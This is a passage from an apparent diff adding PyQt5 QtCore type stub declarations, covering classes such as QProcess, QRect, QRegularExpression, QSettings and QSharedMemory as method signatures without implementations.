finished(self, exitCode: int, exitStatus: 'QProcess.ExitStatus') -> None: ... + def started(self) -> None: ... + def kill(self) -> None: ... + def terminate(self) -> None: ... + def setStandardOutputProcess(self, destination: 'QProcess') -> None: ... + def setStandardErrorFile(self, fileName: str, mode: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag] = ...) -> None: ... + def setStandardOutputFile(self, fileName: str, mode: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag] = ...) -> None: ... + def setStandardInputFile(self, fileName: str) -> None: ... + def setProcessChannelMode(self, mode: 'QProcess.ProcessChannelMode') -> None: ... + def processChannelMode(self) -> 'QProcess.ProcessChannelMode': ... + @staticmethod + def systemEnvironment() -> typing.List[str]: ... + @typing.overload + @staticmethod + def startDetached(program: str, arguments: typing.Iterable[str], workingDirectory: str) -> typing.Tuple[bool, int]: ... + @typing.overload + @staticmethod + def startDetached(program: str, arguments: typing.Iterable[str]) -> bool: ... + @typing.overload + @staticmethod + def startDetached(program: str) -> bool: ... + @typing.overload + def startDetached(self) -> typing.Tuple[bool, int]: ... + @typing.overload + @staticmethod + def execute(program: str, arguments: typing.Iterable[str]) -> int: ... + @typing.overload + @staticmethod + def execute(program: str) -> int: ... + def atEnd(self) -> bool: ... + def close(self) -> None: ... + def canReadLine(self) -> bool: ... + def isSequential(self) -> bool: ... + def bytesToWrite(self) -> int: ... + def bytesAvailable(self) -> int: ... + def exitStatus(self) -> 'QProcess.ExitStatus': ... + def exitCode(self) -> int: ... + def readAllStandardError(self) -> QByteArray: ... + def readAllStandardOutput(self) -> QByteArray: ... + def waitForFinished(self, msecs: int = ...) -> bool: ... + def waitForBytesWritten(self, msecs: int = ...) -> bool: ... + def waitForReadyRead(self, msecs: int = ...) -> bool: ... + def waitForStarted(self, msecs: int = ...) -> bool: ... + def pid(self) -> PyQt5.sip.voidptr: ... + def state(self) -> 'QProcess.ProcessState': ... + @typing.overload + def error(self) -> 'QProcess.ProcessError': ... + @typing.overload + def error(self, error: 'QProcess.ProcessError') -> None: ... + def setWorkingDirectory(self, dir: str) -> None: ... + def workingDirectory(self) -> str: ... + def closeWriteChannel(self) -> None: ... + def closeReadChannel(self, channel: 'QProcess.ProcessChannel') -> None: ... + def setReadChannel(self, channel: 'QProcess.ProcessChannel') -> None: ... + def readChannel(self) -> 'QProcess.ProcessChannel': ... + @typing.overload + def start(self, program: str, arguments: typing.Iterable[str], mode: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag] = ...) -> None: ... + @typing.overload + def start(self, command: str, mode: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag] = ...) -> None: ... + @typing.overload + def start(self, mode: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag] = ...) -> None: ... + + +class QProcessEnvironment(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QProcessEnvironment') -> None: ... + + def swap(self, other: 'QProcessEnvironment') -> None: ... + def keys(self) -> typing.List[str]: ... + @staticmethod + def systemEnvironment() -> 'QProcessEnvironment': ... + def toStringList(self) -> typing.List[str]: ... + def value(self, name: str, defaultValue: str = ...) -> str: ... + def remove(self, name: str) -> None: ... + @typing.overload + def insert(self, name: str, value: str) -> None: ... + @typing.overload + def insert(self, e: 'QProcessEnvironment') -> None: ... + def contains(self, name: str) -> bool: ... + def clear(self) -> None: ... + def isEmpty(self) -> bool: ... + + +class QRandomGenerator(sip.simplewrapper): + + @typing.overload + def __init__(self, seed: int = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QRandomGenerator') -> None: ... + + @staticmethod + def securelySeeded() -> 'QRandomGenerator': ... + @staticmethod + def global_() -> 'QRandomGenerator': ... + @staticmethod + def system() -> 'QRandomGenerator': ... + @staticmethod + def max() -> int: ... + @staticmethod + def min() -> int: ... + def discard(self, z: int) -> None: ... + def seed(self, seed: int = ...) -> None: ... + def __call__(self) -> int: ... + @typing.overload + def bounded(self, highest: float) -> float: ... + @typing.overload + def bounded(self, highest: int) -> int: ... + @typing.overload + def bounded(self, lowest: int, highest: int) -> int: ... + def generateDouble(self) -> float: ... + def generate64(self) -> int: ... + def generate(self) -> int: ... + + +class QReadWriteLock(sip.simplewrapper): + + class RecursionMode(int): + NonRecursive = ... # type: QReadWriteLock.RecursionMode + Recursive = ... # type: QReadWriteLock.RecursionMode + + def __init__(self, recursionMode: 'QReadWriteLock.RecursionMode' = ...) -> None: ... + + def unlock(self) -> None: ... + @typing.overload + def tryLockForWrite(self) -> bool: ... + @typing.overload + def tryLockForWrite(self, timeout: int) -> bool: ... + def lockForWrite(self) -> None: ... + @typing.overload + def tryLockForRead(self) -> bool: ... + @typing.overload + def tryLockForRead(self, timeout: int) -> bool: ... + def lockForRead(self) -> None: ... + + +class QReadLocker(sip.simplewrapper): + + def __init__(self, areadWriteLock: QReadWriteLock) -> None: ... + + def __exit__(self, type: typing.Any, value: typing.Any, traceback: typing.Any) -> None: ... + def __enter__(self) -> typing.Any: ... + def readWriteLock(self) -> QReadWriteLock: ... + def relock(self) -> None: ... + def unlock(self) -> None: ... + + +class QWriteLocker(sip.simplewrapper): + + def __init__(self, areadWriteLock: QReadWriteLock) -> None: ... + + def __exit__(self, type: typing.Any, value: typing.Any, traceback: typing.Any) -> None: ... + def __enter__(self) -> typing.Any: ... + def readWriteLock(self) -> QReadWriteLock: ... + def relock(self) -> None: ... + def unlock(self) -> None: ... + + +class QRect(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, aleft: int, atop: int, awidth: int, aheight: int) -> None: ... + @typing.overload + def __init__(self, atopLeft: QPoint, abottomRight: QPoint) -> None: ... + @typing.overload + def __init__(self, atopLeft: QPoint, asize: 'QSize') -> None: ... + @typing.overload + def __init__(self, a0: 'QRect') -> None: ... + + def transposed(self) -> 'QRect': ... + def marginsRemoved(self, margins: QMargins) -> 'QRect': ... + def marginsAdded(self, margins: QMargins) -> 'QRect': ... + def united(self, r: 'QRect') -> 'QRect': ... + def intersected(self, other: 'QRect') -> 'QRect': ... + def setSize(self, s: 'QSize') -> None: ... + def setHeight(self, h: int) -> None: ... + def setWidth(self, w: int) -> None: ... + def adjust(self, dx1: int, dy1: int, dx2: int, dy2: int) -> None: ... + def adjusted(self, xp1: int, yp1: int, xp2: int, yp2: int) -> 'QRect': ... + def setCoords(self, xp1: int, yp1: int, xp2: int, yp2: int) -> None: ... + def getCoords(self) -> typing.Tuple[int, int, int, int]: ... + def setRect(self, ax: int, ay: int, aw: int, ah: int) -> None: ... + def getRect(self) -> typing.Tuple[int, int, int, int]: ... + def moveBottomLeft(self, p: QPoint) -> None: ... + def moveTopRight(self, p: QPoint) -> None: ... + def moveBottomRight(self, p: QPoint) -> None: ... + def moveTopLeft(self, p: QPoint) -> None: ... + def moveBottom(self, pos: int) -> None: ... + def moveRight(self, pos: int) -> None: ... + def moveTop(self, pos: int) -> None: ... + def moveLeft(self, pos: int) -> None: ... + @typing.overload + def moveTo(self, ax: int, ay: int) -> None: ... + @typing.overload + def moveTo(self, p: QPoint) -> None: ... + @typing.overload + def translated(self, dx: int, dy: int) -> 'QRect': ... + @typing.overload + def translated(self, p: QPoint) -> 'QRect': ... + @typing.overload + def translate(self, dx: int, dy: int) -> None: ... + @typing.overload + def translate(self, p: QPoint) -> None: ... + def size(self) -> 'QSize': ... + def height(self) -> int: ... + def width(self) -> int: ... + def center(self) -> QPoint: ... + def bottomLeft(self) -> QPoint: ... + def topRight(self) -> QPoint: ... + def bottomRight(self) -> QPoint: ... + def topLeft(self) -> QPoint: ... + def setY(self, ay: int) -> None: ... + def setX(self, ax: int) -> None: ... + def setBottomLeft(self, p: QPoint) -> None: ... + def setTopRight(self, p: QPoint) -> None: ... + def setBottomRight(self, p: QPoint) -> None: ... + def setTopLeft(self, p: QPoint) -> None: ... + def setBottom(self, pos: int) -> None: ... + def setRight(self, pos: int) -> None: ... + def setTop(self, pos: int) -> None: ... + def setLeft(self, pos: int) -> None: ... + def y(self) -> int: ... + def x(self) -> int: ... + def bottom(self) -> int: ... + def right(self) -> int: ... + def top(self) -> int: ... + def left(self) -> int: ... + def __bool__(self) -> int: ... + def isValid(self) -> bool: ... + def isEmpty(self) -> bool: ... + def isNull(self) -> bool: ... + def __repr__(self) -> str: ... + def intersects(self, r: 'QRect') -> bool: ... + @typing.overload + def __contains__(self, p: QPoint) -> int: ... + @typing.overload + def __contains__(self, r: 'QRect') -> int: ... + @typing.overload + def contains(self, point: QPoint, proper: bool = ...) -> bool: ... + @typing.overload + def contains(self, rectangle: 'QRect', proper: bool = ...) -> bool: ... + @typing.overload + def contains(self, ax: int, ay: int, aproper: bool) -> bool: ... + @typing.overload + def contains(self, ax: int, ay: int) -> bool: ... + def moveCenter(self, p: QPoint) -> None: ... + def normalized(self) -> 'QRect': ... + + +class QRectF(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, atopLeft: typing.Union[QPointF, QPoint], asize: 'QSizeF') -> None: ... + @typing.overload + def __init__(self, atopLeft: typing.Union[QPointF, QPoint], abottomRight: typing.Union[QPointF, QPoint]) -> None: ... + @typing.overload + def __init__(self, aleft: float, atop: float, awidth: float, aheight: float) -> None: ... + @typing.overload + def __init__(self, r: QRect) -> None: ... + @typing.overload + def __init__(self, a0: 'QRectF') -> None: ... + + def transposed(self) -> 'QRectF': ... + def marginsRemoved(self, margins: QMarginsF) -> 'QRectF': ... + def marginsAdded(self, margins: QMarginsF) -> 'QRectF': ... + def toRect(self) -> QRect: ... + def toAlignedRect(self) -> QRect: ... + def united(self, r: 'QRectF') -> 'QRectF': ... + def intersected(self, r: 'QRectF') -> 'QRectF': ... + def setSize(self, s: 'QSizeF') -> None: ... + def setHeight(self, ah: float) -> None: ... + def setWidth(self, aw: float) -> None: ... + def adjusted(self, xp1: float, yp1: float, xp2: float, yp2: float) -> 'QRectF': ... + def adjust(self, xp1: float, yp1: float, xp2: float, yp2: float) -> None: ... + def setCoords(self, xp1: float, yp1: float, xp2: float, yp2: float) -> None: ... + def getCoords(self) -> typing.Tuple[float, float, float, float]: ... + def setRect(self, ax: float, ay: float, aaw: float, aah: float) -> None: ... + def getRect(self) -> typing.Tuple[float, float, float, float]: ... + @typing.overload + def translated(self, dx: float, dy: float) -> 'QRectF': ... + @typing.overload + def translated(self, p: typing.Union[QPointF, QPoint]) -> 'QRectF': ... + @typing.overload + def moveTo(self, ax: float, ay: float) -> None: ... + @typing.overload + def moveTo(self, p: typing.Union[QPointF, QPoint]) -> None: ... + @typing.overload + def translate(self, dx: float, dy: float) -> None: ... + @typing.overload + def translate(self, p: typing.Union[QPointF, QPoint]) -> None: ... + def size(self) -> 'QSizeF': ... + def height(self) -> float: ... + def width(self) -> float: ... + def moveCenter(self, p: typing.Union[QPointF, QPoint]) -> None: ... + def moveBottomRight(self, p: typing.Union[QPointF, QPoint]) -> None: ... + def moveBottomLeft(self, p: typing.Union[QPointF, QPoint]) -> None: ... + def moveTopRight(self, p: typing.Union[QPointF, QPoint]) -> None: ... + def moveTopLeft(self, p: typing.Union[QPointF, QPoint]) -> None: ... + def moveBottom(self, pos: float) -> None: ... + def moveRight(self, pos: float) -> None: ... + def moveTop(self, pos: float) -> None: ... + def moveLeft(self, pos: float) -> None: ... + def center(self) -> QPointF: ... + def setBottomRight(self, p: typing.Union[QPointF, QPoint]) -> None: ... + def setBottomLeft(self, p: typing.Union[QPointF, QPoint]) -> None: ... + def setTopRight(self, p: typing.Union[QPointF, QPoint]) -> None: ... + def setTopLeft(self, p: typing.Union[QPointF, QPoint]) -> None: ... + def setBottom(self, pos: float) -> None: ... + def setTop(self, pos: float) -> None: ... + def setRight(self, pos: float) -> None: ... + def setLeft(self, pos: float) -> None: ... + def y(self) -> float: ... + def x(self) -> float: ... + def __bool__(self) -> int: ... + def isValid(self) -> bool: ... + def isEmpty(self) -> bool: ... + def isNull(self) -> bool: ... + def intersects(self, r: 'QRectF') -> bool: ... + @typing.overload + def __contains__(self, p: typing.Union[QPointF, QPoint]) -> int: ... + @typing.overload + def __contains__(self, r: 'QRectF') -> int: ... + @typing.overload + def contains(self, p: typing.Union[QPointF, QPoint]) -> bool: ... + @typing.overload + def contains(self, r: 'QRectF') -> bool: ... + @typing.overload + def contains(self, ax: float, ay: float) -> bool: ... + def bottomLeft(self) -> QPointF: ... + def topRight(self) -> QPointF: ... + def bottomRight(self) -> QPointF: ... + def topLeft(self) -> QPointF: ... + def setY(self, pos: float) -> None: ... + def setX(self, pos: float) -> None: ... + def bottom(self) -> float: ... + def right(self) -> float: ... + def top(self) -> float: ... + def left(self) -> float: ... + def normalized(self) -> 'QRectF': ... + def __repr__(self) -> str: ... + + +class QRegExp(sip.simplewrapper): + + class CaretMode(int): + CaretAtZero = ... # type: QRegExp.CaretMode + CaretAtOffset = ... # type: QRegExp.CaretMode + CaretWontMatch = ... # type: QRegExp.CaretMode + + class PatternSyntax(int): + RegExp = ... # type: QRegExp.PatternSyntax + RegExp2 = ... # type: QRegExp.PatternSyntax + Wildcard = ... # type: QRegExp.PatternSyntax + FixedString = ... # type: QRegExp.PatternSyntax + WildcardUnix = ... # type: QRegExp.PatternSyntax + W3CXmlSchema11 = ... # type: QRegExp.PatternSyntax + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, pattern: str, cs: Qt.CaseSensitivity = ..., syntax: 'QRegExp.PatternSyntax' = ...) -> None: ... + @typing.overload + def __init__(self, rx: 'QRegExp') -> None: ... + + def __hash__(self) -> int: ... + def swap(self, other: 'QRegExp') -> None: ... + def captureCount(self) -> int: ... + @staticmethod + def escape(str: str) -> str: ... + def errorString(self) -> str: ... + def pos(self, nth: int = ...) -> int: ... + def cap(self, nth: int = ...) -> str: ... + def capturedTexts(self) -> typing.List[str]: ... + def matchedLength(self) -> int: ... + def lastIndexIn(self, str: str, offset: int = ..., caretMode: 'QRegExp.CaretMode' = ...) -> int: ... + def indexIn(self, str: str, offset: int = ..., caretMode: 'QRegExp.CaretMode' = ...) -> int: ... + def exactMatch(self, str: str) -> bool: ... + def setMinimal(self, minimal: bool) -> None: ... + def isMinimal(self) -> bool: ... + def setPatternSyntax(self, syntax: 'QRegExp.PatternSyntax') -> None: ... + def patternSyntax(self) -> 'QRegExp.PatternSyntax': ... + def setCaseSensitivity(self, cs: Qt.CaseSensitivity) -> None: ... + def caseSensitivity(self) -> Qt.CaseSensitivity: ... + def setPattern(self, pattern: str) -> None: ... + def pattern(self) -> str: ... + def isValid(self) -> bool: ... + def isEmpty(self) -> bool: ... + def __repr__(self) -> str: ... + + +class QRegularExpression(sip.simplewrapper): + + class MatchOption(int): + NoMatchOption = ... # type: QRegularExpression.MatchOption + AnchoredMatchOption = ... # type: QRegularExpression.MatchOption + DontCheckSubjectStringMatchOption = ... # type: QRegularExpression.MatchOption + + class MatchType(int): + NormalMatch = ... # type: QRegularExpression.MatchType + PartialPreferCompleteMatch = ... # type: QRegularExpression.MatchType + PartialPreferFirstMatch = ... # type: QRegularExpression.MatchType + NoMatch = ... # type: QRegularExpression.MatchType + + class PatternOption(int): + NoPatternOption = ... # type: QRegularExpression.PatternOption + CaseInsensitiveOption = ... # type: QRegularExpression.PatternOption + DotMatchesEverythingOption = ... # type: QRegularExpression.PatternOption + MultilineOption = ... # type: QRegularExpression.PatternOption + ExtendedPatternSyntaxOption = ... # type: QRegularExpression.PatternOption + InvertedGreedinessOption = ... # type: QRegularExpression.PatternOption + DontCaptureOption = ... # type: QRegularExpression.PatternOption + UseUnicodePropertiesOption = ... # type: QRegularExpression.PatternOption + OptimizeOnFirstUsageOption = ... # type: QRegularExpression.PatternOption + DontAutomaticallyOptimizeOption = ... # type: QRegularExpression.PatternOption + + class PatternOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QRegularExpression.PatternOptions', 'QRegularExpression.PatternOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QRegularExpression.PatternOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QRegularExpression.PatternOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class MatchOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QRegularExpression.MatchOptions', 'QRegularExpression.MatchOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QRegularExpression.MatchOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QRegularExpression.MatchOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, pattern: str, options: typing.Union['QRegularExpression.PatternOptions', 'QRegularExpression.PatternOption'] = ...) -> None: ... + @typing.overload + def __init__(self, re: 'QRegularExpression') -> None: ... + + @staticmethod + def anchoredPattern(expression: str) -> str: ... + @staticmethod + def wildcardToRegularExpression(str: str) -> str: ... + def __hash__(self) -> int: ... + def optimize(self) -> None: ... + def namedCaptureGroups(self) -> typing.List[str]: ... + @staticmethod + def escape(str: str) -> str: ... + def globalMatch(self, subject: str, offset: int = ..., matchType: 'QRegularExpression.MatchType' = ..., matchOptions: typing.Union['QRegularExpression.MatchOptions', 'QRegularExpression.MatchOption'] = ...) -> 'QRegularExpressionMatchIterator': ... + def match(self, subject: str, offset: int = ..., matchType: 'QRegularExpression.MatchType' = ..., matchOptions: typing.Union['QRegularExpression.MatchOptions', 'QRegularExpression.MatchOption'] = ...) -> 'QRegularExpressionMatch': ... + def captureCount(self) -> int: ... + def errorString(self) -> str: ... + def patternErrorOffset(self) -> int: ... + def isValid(self) -> bool: ... + def setPattern(self, pattern: str) -> None: ... + def pattern(self) -> str: ... + def swap(self, re: 'QRegularExpression') -> None: ... + def __repr__(self) -> str: ... + def setPatternOptions(self, options: typing.Union['QRegularExpression.PatternOptions', 'QRegularExpression.PatternOption']) -> None: ... + def patternOptions(self) -> 'QRegularExpression.PatternOptions': ... + + +class QRegularExpressionMatch(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, match: 'QRegularExpressionMatch') -> None: ... + + @typing.overload + def capturedEnd(self, nth: int = ...) -> int: ... + @typing.overload + def capturedEnd(self, name: str) -> int: ... + @typing.overload + def capturedLength(self, nth: int = ...) -> int: ... + @typing.overload + def capturedLength(self, name: str) -> int: ... + @typing.overload + def capturedStart(self, nth: int = ...) -> int: ... + @typing.overload + def capturedStart(self, name: str) -> int: ... + def capturedTexts(self) -> typing.List[str]: ... + @typing.overload + def captured(self, nth: int = ...) -> str: ... + @typing.overload + def captured(self, name: str) -> str: ... + def lastCapturedIndex(self) -> int: ... + def isValid(self) -> bool: ... + def hasPartialMatch(self) -> bool: ... + def hasMatch(self) -> bool: ... + def matchOptions(self) -> QRegularExpression.MatchOptions: ... + def matchType(self) -> QRegularExpression.MatchType: ... + def regularExpression(self) -> QRegularExpression: ... + def swap(self, match: 'QRegularExpressionMatch') -> None: ... + + +class QRegularExpressionMatchIterator(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, iterator: 'QRegularExpressionMatchIterator') -> None: ... + + def matchOptions(self) -> QRegularExpression.MatchOptions: ... + def matchType(self) -> QRegularExpression.MatchType: ... + def regularExpression(self) -> QRegularExpression: ... + def peekNext(self) -> QRegularExpressionMatch: ... + def next(self) -> QRegularExpressionMatch: ... + def hasNext(self) -> bool: ... + def isValid(self) -> bool: ... + def swap(self, iterator: 'QRegularExpressionMatchIterator') -> None: ... + + +class QResource(sip.simplewrapper): + + class Compression(int): + NoCompression = ... # type: QResource.Compression + ZlibCompression = ... # type: QResource.Compression + ZstdCompression = ... # type: QResource.Compression + + def __init__(self, fileName: str = ..., locale: QLocale = ...) -> None: ... + + def uncompressedData(self) -> QByteArray: ... + def uncompressedSize(self) -> int: ... + def compressionAlgorithm(self) -> 'QResource.Compression': ... + def lastModified(self) -> QDateTime: ... + def isFile(self) -> bool: ... + def isDir(self) -> bool: ... + def children(self) -> typing.List[str]: ... + @staticmethod + def unregisterResourceData(rccData: bytes, mapRoot: str = ...) -> bool: ... + @staticmethod + def unregisterResource(rccFileName: str, mapRoot: str = ...) -> bool: ... + @staticmethod + def registerResourceData(rccData: bytes, mapRoot: str = ...) -> bool: ... + @staticmethod + def registerResource(rccFileName: str, mapRoot: str = ...) -> bool: ... + def size(self) -> int: ... + def setLocale(self, locale: QLocale) -> None: ... + def setFileName(self, file: str) -> None: ... + def locale(self) -> QLocale: ... + def isValid(self) -> bool: ... + def isCompressed(self) -> bool: ... + def fileName(self) -> str: ... + def data(self) -> bytes: ... + def absoluteFilePath(self) -> str: ... + + +class QRunnable(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QRunnable') -> None: ... + + @staticmethod + def create(functionToRun: typing.Callable[[], None]) -> 'QRunnable': ... + def setAutoDelete(self, _autoDelete: bool) -> None: ... + def autoDelete(self) -> bool: ... + def run(self) -> None: ... + + +class QSaveFile(QFileDevice): + + @typing.overload + def __init__(self, name: str) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, name: str, parent: QObject) -> None: ... + + def writeData(self, data: bytes) -> int: ... + def directWriteFallback(self) -> bool: ... + def setDirectWriteFallback(self, enabled: bool) -> None: ... + def cancelWriting(self) -> None: ... + def commit(self) -> bool: ... + def open(self, flags: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag]) -> bool: ... + def setFileName(self, name: str) -> None: ... + def fileName(self) -> str: ... + + +class QSemaphore(sip.simplewrapper): + + def __init__(self, n: int = ...) -> None: ... + + def available(self) -> int: ... + def release(self, n: int = ...) -> None: ... + @typing.overload + def tryAcquire(self, n: int = ...) -> bool: ... + @typing.overload + def tryAcquire(self, n: int, timeout: int) -> bool: ... + def acquire(self, n: int = ...) -> None: ... + + +class QSemaphoreReleaser(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, sem: QSemaphore, n: int = ...) -> None: ... + + def cancel(self) -> QSemaphore: ... + def semaphore(self) -> QSemaphore: ... + def swap(self, other: 'QSemaphoreReleaser') -> None: ... + + +class QSequentialAnimationGroup(QAnimationGroup): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def updateDirection(self, direction: QAbstractAnimation.Direction) -> None: ... + def updateState(self, newState: QAbstractAnimation.State, oldState: QAbstractAnimation.State) -> None: ... + def updateCurrentTime(self, a0: int) -> None: ... + def event(self, event: QEvent) -> bool: ... + def currentAnimationChanged(self, current: QAbstractAnimation) -> None: ... + def duration(self) -> int: ... + def currentAnimation(self) -> QAbstractAnimation: ... + def insertPause(self, index: int, msecs: int) -> QPauseAnimation: ... + def addPause(self, msecs: int) -> QPauseAnimation: ... + + +class QSettings(QObject): + + class Scope(int): + UserScope = ... # type: QSettings.Scope + SystemScope = ... # type: QSettings.Scope + + class Format(int): + NativeFormat = ... # type: QSettings.Format + IniFormat = ... # type: QSettings.Format + InvalidFormat = ... # type: QSettings.Format + + class Status(int): + NoError = ... # type: QSettings.Status + AccessError = ... # type: QSettings.Status + FormatError = ... # type: QSettings.Status + + @typing.overload + def __init__(self, organization: str, application: str = ..., parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, scope: 'QSettings.Scope', organization: str, application: str = ..., parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, format: 'QSettings.Format', scope: 'QSettings.Scope', organization: str, application: str = ..., parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, fileName: str, format: 'QSettings.Format', parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, scope: 'QSettings.Scope', parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def event(self, event: QEvent) -> bool: ... + def setAtomicSyncRequired(self, enable: bool) -> None: ... + def isAtomicSyncRequired(self) -> bool: ... + def iniCodec(self) -> 'QTextCodec': ... + @typing.overload + def setIniCodec(self, codec: 'QTextCodec') -> None: ... + @typing.overload + def setIniCodec(self, codecName: str) -> None: ... + @staticmethod + def defaultFormat() -> 'QSettings.Format': ... + @staticmethod + def setDefaultFormat(format: 'QSettings.Format') -> None: ... + def applicationName(self) -> str: ... + def organizationName(self) -> str: ... + def scope(self) -> 'QSettings.Scope': ... + def format(self) -> 'QSettings.Format': ... + @staticmethod + def setPath(format: 'QSettings.Format', scope: 'QSettings.Scope', path: str) -> None: ... + def fileName(self) -> str: ... + def fallbacksEnabled(self) -> bool: ... + def setFallbacksEnabled(self, b: bool) -> None: ... + def contains(self, key: str) -> bool: ... + def remove(self, key: str) -> None: ... + def value(self, key: str, defaultValue: typing.Any = ..., type: type = ...) -> typing.Any: ... + def setValue(self, key: str, value: typing.Any) -> None: ... + def isWritable(self) -> bool: ... + def childGroups(self) -> typing.List[str]: ... + def childKeys(self) -> typing.List[str]: ... + def allKeys(self) -> typing.List[str]: ... + def setArrayIndex(self, i: int) -> None: ... + def endArray(self) -> None: ... + def beginWriteArray(self, prefix: str, size: int = ...) -> None: ... + def beginReadArray(self, prefix: str) -> int: ... + def group(self) -> str: ... + def endGroup(self) -> None: ... + def beginGroup(self, prefix: str) -> None: ... + def status(self) -> 'QSettings.Status': ... + def sync(self) -> None: ... + def clear(self) -> None: ... + + +class QSharedMemory(QObject): + + class SharedMemoryError(int): + NoError = ... # type: QSharedMemory.SharedMemoryError + PermissionDenied = ... # type: QSharedMemory.SharedMemoryError + InvalidSize = ... # type: QSharedMemory.SharedMemoryError + KeyError = ... # type: QSharedMemory.SharedMemoryError + AlreadyExists = ... # type: QSharedMemory.SharedMemoryError + NotFound = ... # type: QSharedMemory.SharedMemoryError + LockError = ... # type: QSharedMemory.SharedMemoryError + OutOfResources = ... # type: QSharedMemory.SharedMemoryError + UnknownError = ... # type: QSharedMemory.SharedMemoryError + + class AccessMode(int): + ReadOnly = ... # type: QSharedMemory.AccessMode + ReadWrite = ... # type: QSharedMemory.AccessMode + + @typing.overload + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, key: str, parent: typing.Optional[QObject] = ...) -> None: ... + + def nativeKey(self) -> str: ... + def setNativeKey(self, key: str) -> None: ... + def errorString(self) -> str: ... + def error(self) -> 'QSharedMemory.SharedMemoryError': ... + def unlock(self) -> bool: ... + def lock(self) -> bool: ... + def constData(self) -> PyQt5.sip.voidptr: ... + def data(self) -> PyQt5.sip.voidptr: ... + def detach(self) -> bool: ... + def isAttached(self) -> bool: ... + def attach(self, mode: 'QSharedMemory.AccessMode' = ...) -> bool: ... + def size(self) -> int: ... + def create(self, size: int, mode: 'QSharedMemory.AccessMode' = ...) -> bool: ... + def key(self) -> str: ... + def setKey(self, key: str) -> None: ... + + +class QSignalMapper(QObject): + + from PyQt5.QtWidgets import QWidget + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + @typing.overload + def map(self) -> None: ... + @typing.overload + def map(self, sender: QObject) -> None: ... + def mappedObject(self, a0: QObject) -> None: ... + def mappedWidget(self, a0: QWidget) -> None: ... + def mappedString(self, a0: str) -> None: ... + def mappedInt(self, a0: int) -> None: ... + @typing.overload + def mapped(self, a0: int) -> None: ... + @typing.overload + def mapped(self, a0: str) -> None: ... + @typing.overload + def mapped(self, a0: QWidget) -> None: ... + @typing.overload + def mapped(self, a0: QObject) -> None: ... + @typing.overload + def mapping(self, id: int) -> QObject: ... + @typing.overload + def mapping(self, text: str) -> QObject: ... + @typing.overload + def mapping(self, widget: QWidget) -> QObject: ... + @typing.overload + def mapping(self, object: QObject) -> QObject: ... + def removeMappings(self, sender: QObject) -> None: ... + @typing.overload + def setMapping(self, sender: QObject, id: int) -> None: ... + @typing.overload + def setMapping(self, sender: QObject, text: str) -> None: ... + @typing.overload + def setMapping(self, sender: QObject, widget: QWidget) -> None: ... + @typing.overload + def setMapping(self, sender: QObject, object: QObject) -> None: ... + + +class QSignalTransition(QAbstractTransition): + + @typing.overload + def __init__(self, sourceState: typing.Optional['QState'] = ...) -> None: ... + @typing.overload + def __init__(self, signal: pyqtBoundSignal, sourceState: typing.Optional['QState'] = ...) -> None: ... + + def signalChanged(self) -> None: ... + def senderObjectChanged(self) -> None: ... + def event(self, e: QEvent) -> bool: ... + def onTransition(self, event: QEvent) -> None: ... + def eventTest(self, event: QEvent) -> bool: ... + def setSignal(self, signal: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + def signal(self) -> QByteArray: ... + def setSenderObject(self, sender: QObject) -> None: ... + def senderObject(self) -> QObject: ... + + +class QSize(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, w: int, h: int) -> None: ... + @typing.overload + def __init__(self, a0: 'QSize') -> None: ... + + def shrunkBy(self, m: QMargins) -> 'QSize': ... + def grownBy(self, m: QMargins) -> 'QSize': ... + def transposed(self) -> 'QSize': ... + @typing.overload + def scaled(self, s: 'QSize', mode: Qt.AspectRatioMode) -> 'QSize': ... + @typing.overload + def scaled(self, w: int, h: int, mode: Qt.AspectRatioMode) -> 'QSize': ... + def boundedTo(self, otherSize: 'QSize') -> 'QSize': ... + def expandedTo(self, otherSize: 'QSize') -> 'QSize': ... + def setHeight(self, h: int) -> None: ... + def setWidth(self, w: int) -> None: ... + def height(self) -> int: ... + def width(self) -> int: ... + def __bool__(self) -> int: ... + def isValid(self) -> bool: ... + def isEmpty(self) -> bool: ... + def 